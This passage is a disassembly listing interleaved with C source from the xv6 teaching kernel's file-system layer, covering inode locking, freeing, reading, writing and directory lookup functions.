0x8(%ebx),%edx 801016c6: 85 d2 test %edx,%edx 801016c8: 0f 8e a8 00 00 00 jle 80101776 <ilock+0xc6> acquiresleep(&ip->lock); 801016ce: 8d 43 0c lea 0xc(%ebx),%eax 801016d1: 89 04 24 mov %eax,(%esp) 801016d4: e8 a7 28 00 00 call 80103f80 <acquiresleep> if(ip->valid == 0){ 801016d9: 8b 43 4c mov 0x4c(%ebx),%eax 801016dc: 85 c0 test %eax,%eax 801016de: 74 08 je 801016e8 <ilock+0x38> } 801016e0: 83 c4 10 add $0x10,%esp 801016e3: 5b pop %ebx 801016e4: 5e pop %esi 801016e5: 5d pop %ebp 801016e6: c3 ret 801016e7: 90 nop bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801016e8: 8b 43 04 mov 0x4(%ebx),%eax 801016eb: c1 e8 03 shr $0x3,%eax 801016ee: 03 05 d4 09 11 80 add 0x801109d4,%eax 801016f4: 89 44 24 04 mov %eax,0x4(%esp) 801016f8: 8b 03 mov (%ebx),%eax 801016fa: 89 04 24 mov %eax,(%esp) 801016fd: e8 ce e9 ff ff call 801000d0 <bread> dip = (struct dinode*)bp->data + ip->inum%IPB; 80101702: 8b 53 04 mov 0x4(%ebx),%edx 80101705: 83 e2 07 and $0x7,%edx 80101708: c1 e2 06 shl $0x6,%edx 8010170b: 8d 54 10 5c lea 0x5c(%eax,%edx,1),%edx bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 8010170f: 89 c6 mov %eax,%esi ip->type = dip->type; 80101711: 0f b7 02 movzwl (%edx),%eax memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 80101714: 83 c2 0c add $0xc,%edx ip->type = dip->type; 80101717: 66 89 43 50 mov %ax,0x50(%ebx) ip->major = dip->major; 8010171b: 0f b7 42 f6 movzwl -0xa(%edx),%eax 8010171f: 66 89 43 52 mov %ax,0x52(%ebx) ip->minor = dip->minor; 80101723: 0f b7 42 f8 movzwl -0x8(%edx),%eax 80101727: 66 89 43 54 mov %ax,0x54(%ebx) ip->nlink = dip->nlink; 8010172b: 0f b7 42 fa movzwl -0x6(%edx),%eax 8010172f: 66 89 43 56 mov %ax,0x56(%ebx) ip->size = dip->size; 80101733: 8b 42 fc mov -0x4(%edx),%eax 80101736: 89 43 58 mov %eax,0x58(%ebx) memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 80101739: 8d 43 5c lea 0x5c(%ebx),%eax 8010173c: 89 54 24 04 mov %edx,0x4(%esp) 80101740: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp) 80101747: 00 80101748: 89 04 24 mov %eax,(%esp) 8010174b: e8 f0 2b 00 00 call 80104340 <memmove> brelse(bp); 80101750: 89 34 24 mov %esi,(%esp) 80101753: e8 88 ea ff ff call 801001e0 <brelse> if(ip->type == 0) 80101758: 66 83 7b 50 00 cmpw $0x0,0x50(%ebx) ip->valid = 1; 8010175d: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx) if(ip->type == 0) 80101764: 0f 85 76 ff ff ff jne 801016e0 <ilock+0x30> panic("ilock: no type"); 8010176a: c7 04 24 10 6d 10 80 movl $0x80106d10,(%esp) 80101771: e8 ea eb ff ff call 80100360 <panic> panic("ilock"); 80101776: c7 04 24 0a 6d 10 80 movl $0x80106d0a,(%esp) 8010177d: e8 de eb ff ff call 80100360 <panic> 80101782: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101789: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101790 <iunlock>: { 80101790: 55 push %ebp 80101791: 89 e5 mov %esp,%ebp 80101793: 56 push %esi 80101794: 53 push %ebx 80101795: 83 ec 10 sub $0x10,%esp 80101798: 8b 5d 08 mov 0x8(%ebp),%ebx if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1) 8010179b: 85 db test %ebx,%ebx 8010179d: 74 24 je 801017c3 <iunlock+0x33> 8010179f: 8d 73 0c lea 0xc(%ebx),%esi 801017a2: 89 34 24 mov %esi,(%esp) 801017a5: e8 76 28 00 00 call 80104020 <holdingsleep> 801017aa: 85 c0 test %eax,%eax 801017ac: 74 15 je 801017c3 <iunlock+0x33> 801017ae: 8b 43 08 mov 0x8(%ebx),%eax 801017b1: 85 c0 test %eax,%eax 801017b3: 7e 0e jle 801017c3 <iunlock+0x33> releasesleep(&ip->lock); 801017b5: 89 75 08 mov %esi,0x8(%ebp) } 801017b8: 83 c4 10 add $0x10,%esp 801017bb: 5b pop %ebx 801017bc: 5e pop %esi 801017bd: 5d pop %ebp releasesleep(&ip->lock); 801017be: e9 1d 28 00 00 jmp 80103fe0 <releasesleep> panic("iunlock"); 801017c3: c7 04 24 1f 6d 10 80 movl $0x80106d1f,(%esp) 801017ca: e8 91 eb ff ff call 80100360 <panic> 801017cf: 90 nop 801017d0 <iput>: { 801017d0: 55 push %ebp 801017d1: 89 e5 mov %esp,%ebp 801017d3: 57 push %edi 801017d4: 56 push %esi 801017d5: 53 push %ebx 801017d6: 83 ec 1c sub $0x1c,%esp 801017d9: 8b 75 08 mov 0x8(%ebp),%esi acquiresleep(&ip->lock); 801017dc: 8d 7e 0c lea 0xc(%esi),%edi 801017df: 89 3c 24 mov %edi,(%esp) 801017e2: e8 99 27 00 00 call 80103f80 <acquiresleep> if(ip->valid && ip->nlink == 0){ 801017e7: 8b 56 4c mov 0x4c(%esi),%edx 801017ea: 85 d2 test %edx,%edx 801017ec: 74 07 je 801017f5 <iput+0x25> 801017ee: 66 83 7e 56 00 cmpw $0x0,0x56(%esi) 801017f3: 74 2b je 80101820 <iput+0x50> releasesleep(&ip->lock); 801017f5: 89 3c 24 mov %edi,(%esp) 801017f8: e8 e3 27 00 00 call 80103fe0 <releasesleep> acquire(&icache.lock); 801017fd: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101804: e8 d7 29 00 00 call 801041e0 <acquire> ip->ref--; 80101809: 83 6e 08 01 subl $0x1,0x8(%esi) release(&icache.lock); 8010180d: c7 45 08 e0 09 11 80 movl $0x801109e0,0x8(%ebp) } 80101814: 83 c4 1c add $0x1c,%esp 80101817: 5b pop %ebx 80101818: 5e pop %esi 80101819: 5f pop %edi 8010181a: 5d pop %ebp release(&icache.lock); 8010181b: e9 30 2a 00 00 jmp 80104250 <release> acquire(&icache.lock); 80101820: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101827: e8 b4 29 00 00 call 801041e0 <acquire> int r = ip->ref; 8010182c: 8b 5e 08 mov 0x8(%esi),%ebx release(&icache.lock); 8010182f: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101836: e8 15 2a 00 00 call 80104250 <release> if(r == 1){ 8010183b: 83 fb 01 cmp $0x1,%ebx 8010183e: 75 b5 jne 801017f5 <iput+0x25> 80101840: 8d 4e 30 lea 0x30(%esi),%ecx 80101843: 89 f3 mov %esi,%ebx 80101845: 89 7d e4 mov %edi,-0x1c(%ebp) 80101848: 89 cf mov %ecx,%edi 8010184a: eb 0b jmp 80101857 <iput+0x87> 8010184c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101850: 83 c3 04 add $0x4,%ebx { int i, j; struct buf *bp; uint *a; for(i = 0; i < NDIRECT; i++){ 80101853: 39 fb cmp %edi,%ebx 80101855: 74 19 je 80101870 <iput+0xa0> if(ip->addrs[i]){ 80101857: 8b 53 5c mov 0x5c(%ebx),%edx 8010185a: 85 d2 test %edx,%edx 8010185c: 74 f2 je 80101850 <iput+0x80> bfree(ip->dev, ip->addrs[i]); 8010185e: 8b 06 mov (%esi),%eax 80101860: e8 9b f8 ff ff call 80101100 <bfree> ip->addrs[i] = 0; 80101865: c7 43 5c 00 00 00 00 movl $0x0,0x5c(%ebx) 8010186c: eb e2 jmp 80101850 <iput+0x80> 8010186e: 66 90 xchg %ax,%ax } } if(ip->addrs[NDIRECT]){ 80101870: 8b 86 8c 00 00 00 mov 0x8c(%esi),%eax 80101876: 8b 7d e4 mov -0x1c(%ebp),%edi 80101879: 85 c0 test %eax,%eax 8010187b: 75 2b jne 801018a8 <iput+0xd8> brelse(bp); bfree(ip->dev, ip->addrs[NDIRECT]); ip->addrs[NDIRECT] = 0; } ip->size = 0; 8010187d: c7 46 58 00 00 00 00 movl $0x0,0x58(%esi) iupdate(ip); 80101884: 89 34 24 mov %esi,(%esp) 80101887: e8 64 fd ff ff call 801015f0 <iupdate> ip->type = 0; 8010188c: 31 c0 xor %eax,%eax 8010188e: 66 89 46 50 mov %ax,0x50(%esi) iupdate(ip); 80101892: 89 34 24 mov %esi,(%esp) 80101895: e8 56 fd ff ff call 801015f0 <iupdate> ip->valid = 0; 8010189a: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi) 801018a1: e9 4f ff ff ff jmp 801017f5 <iput+0x25> 801018a6: 66 90 xchg %ax,%ax bp = bread(ip->dev, ip->addrs[NDIRECT]); 801018a8: 89 44 24 04 mov %eax,0x4(%esp) 801018ac: 8b 06 mov (%esi),%eax for(j = 0; j < NINDIRECT; j++){ 801018ae: 31 db xor %ebx,%ebx bp = bread(ip->dev, ip->addrs[NDIRECT]); 801018b0: 89 04 24 mov %eax,(%esp) 801018b3: e8 18 e8 ff ff call 801000d0 <bread> for(j = 0; j < NINDIRECT; j++){ 801018b8: 89 7d e0 mov %edi,-0x20(%ebp) a = (uint*)bp->data; 801018bb: 8d 48 5c lea 0x5c(%eax),%ecx bp = bread(ip->dev, ip->addrs[NDIRECT]); 801018be: 89 45 e4 mov %eax,-0x1c(%ebp) for(j = 0; j < NINDIRECT; j++){ 801018c1: 89 cf mov %ecx,%edi 801018c3: 31 c0 xor %eax,%eax 801018c5: eb 0e jmp 801018d5 <iput+0x105> 801018c7: 90 nop 801018c8: 83 c3 01 add $0x1,%ebx 801018cb: 81 fb 80 00 00 00 cmp $0x80,%ebx 801018d1: 89 d8 mov %ebx,%eax 801018d3: 74 10 je 801018e5 <iput+0x115> if(a[j]) 801018d5: 8b 14 87 mov (%edi,%eax,4),%edx 801018d8: 85 d2 test %edx,%edx 801018da: 74 ec je 801018c8 <iput+0xf8> bfree(ip->dev, a[j]); 801018dc: 8b 06 mov (%esi),%eax 801018de: e8 1d f8 ff ff call 80101100 <bfree> 801018e3: eb e3 jmp 801018c8 <iput+0xf8> brelse(bp); 801018e5: 8b 45 e4 mov -0x1c(%ebp),%eax 801018e8: 8b 7d e0 mov -0x20(%ebp),%edi 801018eb: 89 04 24 mov %eax,(%esp) 801018ee: e8 ed e8 ff ff call 801001e0 <brelse> bfree(ip->dev, ip->addrs[NDIRECT]); 801018f3: 8b 96 8c 00 00 00 mov 0x8c(%esi),%edx 801018f9: 8b 06 mov (%esi),%eax 801018fb: e8 00 f8 ff ff call 80101100 <bfree> ip->addrs[NDIRECT] = 0; 80101900: c7 86 8c 00 00 00 00 movl $0x0,0x8c(%esi) 80101907: 00 00 00 8010190a: e9 6e ff ff ff jmp 8010187d <iput+0xad> 8010190f: 90 nop 80101910 <iunlockput>: { 80101910: 55 push %ebp 80101911: 89 e5 mov %esp,%ebp 80101913: 53 push %ebx 80101914: 83 ec 14 sub $0x14,%esp 80101917: 8b 5d 08 mov 0x8(%ebp),%ebx iunlock(ip); 8010191a: 89 1c 24 mov %ebx,(%esp) 8010191d: e8 6e fe ff ff call 80101790 <iunlock> iput(ip); 80101922: 89 5d 08 mov %ebx,0x8(%ebp) } 80101925: 83 c4 14 add $0x14,%esp 80101928: 5b pop %ebx 80101929: 5d pop %ebp iput(ip); 8010192a: e9 a1 fe ff ff jmp 801017d0 <iput> 8010192f: 90 nop 80101930 <stati>: // Copy stat information from inode. // Caller must hold ip->lock. void stati(struct inode *ip, struct stat *st) { 80101930: 55 push %ebp 80101931: 89 e5 mov %esp,%ebp 80101933: 8b 55 08 mov 0x8(%ebp),%edx 80101936: 8b 45 0c mov 0xc(%ebp),%eax st->dev = ip->dev; 80101939: 8b 0a mov (%edx),%ecx 8010193b: 89 48 04 mov %ecx,0x4(%eax) st->ino = ip->inum; 8010193e: 8b 4a 04 mov 0x4(%edx),%ecx 80101941: 89 48 08 mov %ecx,0x8(%eax) st->type = ip->type; 80101944: 0f b7 4a 50 movzwl 0x50(%edx),%ecx 80101948: 66 89 08 mov %cx,(%eax) st->nlink = ip->nlink; 8010194b: 0f b7 4a 56 movzwl 0x56(%edx),%ecx 8010194f: 66 89 48 0c mov %cx,0xc(%eax) st->size = ip->size; 80101953: 8b 52 58 mov 0x58(%edx),%edx 80101956: 89 50 10 mov %edx,0x10(%eax) } 80101959: 5d pop %ebp 8010195a: c3 ret 8010195b: 90 nop 8010195c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101960 <readi>: //PAGEBREAK! // Read data from inode. // Caller must hold ip->lock. int readi(struct inode *ip, char *dst, uint off, uint n) { 80101960: 55 push %ebp 80101961: 89 e5 mov %esp,%ebp 80101963: 57 push %edi 80101964: 56 push %esi 80101965: 53 push %ebx 80101966: 83 ec 2c sub $0x2c,%esp 80101969: 8b 45 0c mov 0xc(%ebp),%eax 8010196c: 8b 7d 08 mov 0x8(%ebp),%edi 8010196f: 8b 75 10 mov 0x10(%ebp),%esi 80101972: 89 45 e0 mov %eax,-0x20(%ebp) 80101975: 8b 45 14 mov 0x14(%ebp),%eax uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101978: 66 83 7f 50 03 cmpw $0x3,0x50(%edi) { 8010197d: 89 45 e4 mov %eax,-0x1c(%ebp) if(ip->type == T_DEV){ 80101980: 0f 84 aa 00 00 00 je 80101a30 <readi+0xd0> if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) return -1; return devsw[ip->major].read(ip, dst, n); } if(off > ip->size || off + n < off) 80101986: 8b 47 58 mov 0x58(%edi),%eax 80101989: 39 f0 cmp %esi,%eax 8010198b: 0f 82 c7 00 00 00 jb 80101a58 <readi+0xf8> 80101991: 8b 5d e4 mov -0x1c(%ebp),%ebx 80101994: 89 da mov %ebx,%edx 80101996: 01 f2 add %esi,%edx 80101998: 0f 82 ba 00 00 00 jb 80101a58 <readi+0xf8> return -1; if(off + n > ip->size) n = ip->size - off; 8010199e: 89 c1 mov %eax,%ecx 801019a0: 29 f1 sub %esi,%ecx 801019a2: 39 d0 cmp %edx,%eax 801019a4: 0f 43 cb cmovae %ebx,%ecx for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 801019a7: 31 c0 xor %eax,%eax 801019a9: 85 c9 test %ecx,%ecx n = ip->size - off; 801019ab: 89 4d e4 mov %ecx,-0x1c(%ebp) for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 801019ae: 74 70 je 80101a20 <readi+0xc0> 801019b0: 89 7d d8 mov %edi,-0x28(%ebp) 801019b3: 89 c7 mov %eax,%edi 801019b5: 8d 76 00 lea 0x0(%esi),%esi bp = bread(ip->dev, bmap(ip, off/BSIZE)); 801019b8: 8b 5d d8 mov -0x28(%ebp),%ebx 801019bb: 89 f2 mov %esi,%edx 801019bd: c1 ea 09 shr $0x9,%edx 801019c0: 89 d8 mov %ebx,%eax 801019c2: e8 99 f9 ff ff call 80101360 <bmap> 801019c7: 89 44 24 04 mov %eax,0x4(%esp) 801019cb: 8b 03 mov (%ebx),%eax m = min(n - tot, BSIZE - off%BSIZE); 801019cd: bb 00 02 00 00 mov $0x200,%ebx bp = bread(ip->dev, bmap(ip, off/BSIZE)); 801019d2: 89 04 24 mov %eax,(%esp) 801019d5: e8 f6 e6 ff ff call 801000d0 <bread> m = min(n - tot, BSIZE - off%BSIZE); 801019da: 8b 4d e4 mov -0x1c(%ebp),%ecx 801019dd: 29 f9 sub %edi,%ecx bp = bread(ip->dev, bmap(ip, off/BSIZE)); 801019df: 89 c2 mov %eax,%edx m = min(n - tot, BSIZE - off%BSIZE); 801019e1: 89 f0 mov %esi,%eax 801019e3: 25 ff 01 00 00 and $0x1ff,%eax 801019e8: 29 c3 sub %eax,%ebx memmove(dst, bp->data + off%BSIZE, m); 801019ea: 8d 44 02 5c lea 0x5c(%edx,%eax,1),%eax m = min(n - tot, BSIZE - off%BSIZE); 801019ee: 39 cb cmp %ecx,%ebx memmove(dst, bp->data + off%BSIZE, m); 801019f0: 89 44 24 04 mov %eax,0x4(%esp) 801019f4: 8b 45 e0 mov -0x20(%ebp),%eax m = min(n - tot, BSIZE - off%BSIZE); 801019f7: 0f 47 d9 cmova %ecx,%ebx memmove(dst, bp->data + off%BSIZE, m); 801019fa: 89 5c 24 08 mov %ebx,0x8(%esp) for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 801019fe: 01 df add %ebx,%edi 80101a00: 01 de add %ebx,%esi memmove(dst, bp->data + off%BSIZE, m); 80101a02: 89 55 dc mov %edx,-0x24(%ebp) 80101a05: 89 04 24 mov %eax,(%esp) 80101a08: e8 33 29 00 00 call 80104340 <memmove> brelse(bp); 80101a0d: 8b 55 dc mov -0x24(%ebp),%edx 80101a10: 89 14 24 mov %edx,(%esp) 80101a13: e8 c8 e7 ff ff call 801001e0 <brelse> for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 80101a18: 01 5d e0 add %ebx,-0x20(%ebp) 80101a1b: 39 7d e4 cmp %edi,-0x1c(%ebp) 80101a1e: 77 98 ja 801019b8 <readi+0x58> } return n; 80101a20: 8b 45 e4 mov -0x1c(%ebp),%eax } 80101a23: 83 c4 2c add $0x2c,%esp 80101a26: 5b pop %ebx 80101a27: 5e pop %esi 80101a28: 5f pop %edi 80101a29: 5d pop %ebp 80101a2a: c3 ret 80101a2b: 90 nop 80101a2c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) 80101a30: 0f bf 47 52 movswl 0x52(%edi),%eax 80101a34: 66 83 f8 09 cmp $0x9,%ax 80101a38: 77 1e ja 80101a58 <readi+0xf8> 80101a3a: 8b 04 c5 60 09 11 80 mov -0x7feef6a0(,%eax,8),%eax 80101a41: 85 c0 test %eax,%eax 80101a43: 74 13 je 80101a58 <readi+0xf8> return devsw[ip->major].read(ip, dst, n); 80101a45: 8b 75 e4 mov -0x1c(%ebp),%esi 80101a48: 89 75 10 mov %esi,0x10(%ebp) } 80101a4b: 83 c4 2c add $0x2c,%esp 80101a4e: 5b pop %ebx 80101a4f: 5e pop %esi 80101a50: 5f pop %edi 80101a51: 5d pop %ebp return devsw[ip->major].read(ip, dst, n); 80101a52: ff e0 jmp *%eax 80101a54: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80101a58: b8 ff ff ff ff mov $0xffffffff,%eax 80101a5d: eb c4 jmp 80101a23 <readi+0xc3> 80101a5f: 90 nop 80101a60 <writei>: // PAGEBREAK! // Write data to inode. // Caller must hold ip->lock. int writei(struct inode *ip, char *src, uint off, uint n) { 80101a60: 55 push %ebp 80101a61: 89 e5 mov %esp,%ebp 80101a63: 57 push %edi 80101a64: 56 push %esi 80101a65: 53 push %ebx 80101a66: 83 ec 2c sub $0x2c,%esp 80101a69: 8b 45 08 mov 0x8(%ebp),%eax 80101a6c: 8b 75 0c mov 0xc(%ebp),%esi 80101a6f: 8b 4d 14 mov 0x14(%ebp),%ecx uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101a72: 66 83 78 50 03 cmpw $0x3,0x50(%eax) { 80101a77: 89 75 dc mov %esi,-0x24(%ebp) 80101a7a: 8b 75 10 mov 0x10(%ebp),%esi 80101a7d: 89 45 d8 mov %eax,-0x28(%ebp) 80101a80: 89 4d e0 mov %ecx,-0x20(%ebp) if(ip->type == T_DEV){ 80101a83: 0f 84 b7 00 00 00 je 80101b40 <writei+0xe0> if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) return -1; return devsw[ip->major].write(ip, src, n); } if(off > ip->size || off + n < off) 80101a89: 8b 45 d8 mov -0x28(%ebp),%eax 80101a8c: 39 70 58 cmp %esi,0x58(%eax) 80101a8f: 0f 82 e3 00 00 00 jb 80101b78 <writei+0x118> 80101a95: 8b 4d e0 mov -0x20(%ebp),%ecx 80101a98: 89 c8 mov %ecx,%eax 80101a9a: 01 f0 add %esi,%eax 80101a9c: 0f 82 d6 00 00 00 jb 80101b78 <writei+0x118> return -1; if(off + n > MAXFILE*BSIZE) 80101aa2: 3d 00 18 01 00 cmp $0x11800,%eax 80101aa7: 0f 87 cb 00 00 00 ja 80101b78 <writei+0x118> return -1; for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101aad: 85 c9 test %ecx,%ecx 80101aaf: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) 80101ab6: 74 77 je 80101b2f <writei+0xcf> bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101ab8: 8b 7d d8 mov -0x28(%ebp),%edi 80101abb: 89 f2 mov %esi,%edx m = min(n - tot, BSIZE - off%BSIZE); 80101abd: bb 00 02 00 00 mov $0x200,%ebx bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101ac2: c1 ea 09 shr $0x9,%edx 80101ac5: 89 f8 mov %edi,%eax 80101ac7: e8 94 f8 ff ff call 80101360 <bmap> 80101acc: 89 44 24 04 mov %eax,0x4(%esp) 80101ad0: 8b 07 mov (%edi),%eax 80101ad2: 89 04 24 mov %eax,(%esp) 80101ad5: e8 f6 e5 ff ff call 801000d0 <bread> m = min(n - tot, BSIZE - off%BSIZE); 80101ada: 8b 4d e0 mov -0x20(%ebp),%ecx 80101add: 2b 4d e4 sub -0x1c(%ebp),%ecx memmove(bp->data + off%BSIZE, src, m); 80101ae0: 8b 55 dc mov -0x24(%ebp),%edx bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101ae3: 89 c7 mov %eax,%edi m = min(n - tot, BSIZE - off%BSIZE); 80101ae5: 89 f0 mov %esi,%eax 80101ae7: 25 ff 01 00 00 and $0x1ff,%eax 80101aec: 29 c3 sub %eax,%ebx 80101aee: 39 cb cmp %ecx,%ebx 80101af0: 0f 47 d9 cmova %ecx,%ebx memmove(bp->data + off%BSIZE, src, m); 80101af3: 8d 44 07 5c lea 0x5c(%edi,%eax,1),%eax for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101af7: 01 de add %ebx,%esi memmove(bp->data + off%BSIZE, src, m); 80101af9: 89 54 24 04 mov %edx,0x4(%esp) 80101afd: 89 5c 24 08 mov %ebx,0x8(%esp) 80101b01: 89 04 24 mov %eax,(%esp) 80101b04: e8 37 28 00 00 call 80104340 <memmove> log_write(bp); 80101b09: 89 3c 24 mov %edi,(%esp) 80101b0c: e8 9f 11 00 00 call 80102cb0 <log_write> brelse(bp); 80101b11: 89 3c 24 mov %edi,(%esp) 80101b14: e8 c7 e6 ff ff call 801001e0 <brelse> for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101b19: 01 5d e4 add %ebx,-0x1c(%ebp) 80101b1c: 8b 45 e4 mov -0x1c(%ebp),%eax 80101b1f: 01 5d dc add %ebx,-0x24(%ebp) 80101b22: 39 45 e0 cmp %eax,-0x20(%ebp) 80101b25: 77 91 ja 80101ab8 <writei+0x58> } if(n > 0 && off > ip->size){ 80101b27: 8b 45 d8 mov -0x28(%ebp),%eax 80101b2a: 39 70 58 cmp %esi,0x58(%eax) 80101b2d: 72 39 jb 80101b68 <writei+0x108> ip->size = off; iupdate(ip); } return n; 80101b2f: 8b 45 e0 mov -0x20(%ebp),%eax } 80101b32: 83 c4 2c add $0x2c,%esp 80101b35: 5b pop %ebx 80101b36: 5e pop %esi 80101b37: 5f pop %edi 80101b38: 5d pop %ebp 80101b39: c3 ret 80101b3a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) 80101b40: 0f bf 40 52 movswl 0x52(%eax),%eax 80101b44: 66 83 f8 09 cmp $0x9,%ax 80101b48: 77 2e ja 80101b78 <writei+0x118> 80101b4a: 8b 04 c5 64 09 11 80 mov -0x7feef69c(,%eax,8),%eax 80101b51: 85 c0 test %eax,%eax 80101b53: 74 23 je 80101b78 <writei+0x118> return devsw[ip->major].write(ip, src, n); 80101b55: 89 4d 10 mov %ecx,0x10(%ebp) } 80101b58: 83 c4 2c add $0x2c,%esp 80101b5b: 5b pop %ebx 80101b5c: 5e pop %esi 80101b5d: 5f pop %edi 80101b5e: 5d pop %ebp return devsw[ip->major].write(ip, src, n); 80101b5f: ff e0 jmp *%eax 80101b61: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi ip->size = off; 80101b68: 8b 45 d8 mov -0x28(%ebp),%eax 80101b6b: 89 70 58 mov %esi,0x58(%eax) iupdate(ip); 80101b6e: 89 04 24 mov %eax,(%esp) 80101b71: e8 7a fa ff ff call 801015f0 <iupdate> 80101b76: eb b7 jmp 80101b2f <writei+0xcf> } 80101b78: 83 c4 2c add $0x2c,%esp return -1; 80101b7b: b8 ff ff ff ff mov $0xffffffff,%eax } 80101b80: 5b pop %ebx 80101b81: 5e pop %esi 80101b82: 5f pop %edi 80101b83: 5d pop %ebp 80101b84: c3 ret 80101b85: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101b89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101b90 <namecmp>: //PAGEBREAK! // Directories int namecmp(const char *s, const char *t) { 80101b90: 55 push %ebp 80101b91: 89 e5 mov %esp,%ebp 80101b93: 83 ec 18 sub $0x18,%esp return strncmp(s, t, DIRSIZ); 80101b96: 8b 45 0c mov 0xc(%ebp),%eax 80101b99: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp) 80101ba0: 00 80101ba1: 89 44 24 04 mov %eax,0x4(%esp) 80101ba5: 8b 45 08 mov 0x8(%ebp),%eax 80101ba8: 89 04 24 mov %eax,(%esp) 80101bab: e8 10 28 00 00 call 801043c0 <strncmp> } 80101bb0: c9 leave 80101bb1: c3 ret 80101bb2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101bb9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101bc0 <dirlookup>: // Look for a directory entry in a directory. // If found, set *poff to byte offset of entry. struct inode* dirlookup(struct inode *dp, char *name, uint *poff) { 80101bc0: 55 push %ebp 80101bc1: 89 e5 mov %esp,%ebp 80101bc3: 57 push %edi 80101bc4: 56 push %esi 80101bc5: 53 push %ebx 80101bc6: 83 ec 2c sub $0x2c,%esp 80101bc9: 8b 5d 08 mov 0x8(%ebp),%ebx uint off, inum; struct dirent de; if(dp->type != T_DIR) 80101bcc: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80101bd1: 0f 85 97 00 00 00 jne 80101c6e <dirlookup+0xae> panic("dirlookup not DIR"); for(off = 0; off < dp->size; off += sizeof(de)){ 80101bd7: 8b 53 58 mov 0x58(%ebx),%edx 80101bda: 31 ff xor %edi,%edi 80101bdc: 8d 75 d8 lea -0x28(%ebp),%esi 80101bdf: 85 d2 test %edx,%edx 80101be1: 75 0d jne 80101bf0 <dirlookup+0x30> 80101be3: eb 73 jmp 80101c58 <dirlookup+0x98> 80101be5: 8d 76 00 lea 0x0(%esi),%esi 80101be8: 83 c7 10 add $0x10,%edi 80101beb: 39 7b 58 cmp %edi,0x58(%ebx) 80101bee: 76 68 jbe 80101c58 <dirlookup+0x98> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101bf0: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80101bf7: 00 80101bf8: 89 7c 24 08 mov %edi,0x8(%esp) 80101bfc: 89 74 24 04 mov %esi,0x4(%esp) 80101c00: 89 1c 24 mov %ebx,(%esp) 80101c03: e8 58 fd ff ff call 80101960 <readi> 80101c08: 83 f8 10 cmp $0x10,%eax 80101c0b: 75 55 jne 80101c62 <dirlookup+0xa2> panic("dirlookup read"); if(de.inum == 0) 80101c0d: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80101c12: 74 d4 je 80101be8 <dirlookup+0x28> return strncmp(s, t, DIRSIZ); 80101c14: 8d 45 da lea -0x26(%ebp),%eax 80101c17: 89 44 24 04 mov %eax,0x4(%esp) 80101c1b: 8b 45 0c mov 0xc(%ebp),%eax 80101c1e: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp) 80101c25: 00 80101c26: 89 04 24 mov %eax,(%esp) 80101c29: e8 92 27 00 00 call 801043c0 <strncmp> continue; if(namecmp(name, de.name) == 0){ 80101c2e: 85 c0 test %eax,%eax 80101c30: 75 b6 jne 80101be8 <dirlookup+0x28> // entry matches path element if(poff) 80101c32: 8b 45 10 mov 0x10(%ebp),%eax 80101c35: 85 c0 test %eax,%eax 80101c37: 74 05 je 80101c3e <dirlookup+0x7e> *poff = off; 80101c39: 8b 45 10 mov 0x10(%ebp),%eax 80101c3c: 89 38 mov %edi,(%eax) inum = de.inum; 80101c3e: 0f b7 55 d8 movzwl -0x28(%ebp),%edx return iget(dp->dev, inum); 80101c42: 8b 03 mov (%ebx),%eax 80101c44: e8 57 f6 ff ff call 801012a0 <iget> } } return 0; } 80101c49: 83 c4 2c add $0x2c,%esp 80101c4c: 5b pop %ebx 80101c4d: 5e pop %esi 80101c4e: 5f pop %edi 80101c4f: 5d pop %ebp 80101c50: c3 ret 80101c51: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101c58: 83 c4 2c add $0x2c,%esp return 0; 80101c5b: 31 c0 xor %eax,%eax } 80101c5d: 5b pop %ebx 80101c5e: 5e pop %esi 80101c5f: 5f pop %edi 80101c60: 5d pop %ebp 80101c61: c3 ret panic("dirlookup read"); 80101c62: c7 04 24 39 6d 10 80 movl $0x80106d39,(%esp) 80101c69: e8 f2 e6 ff ff call 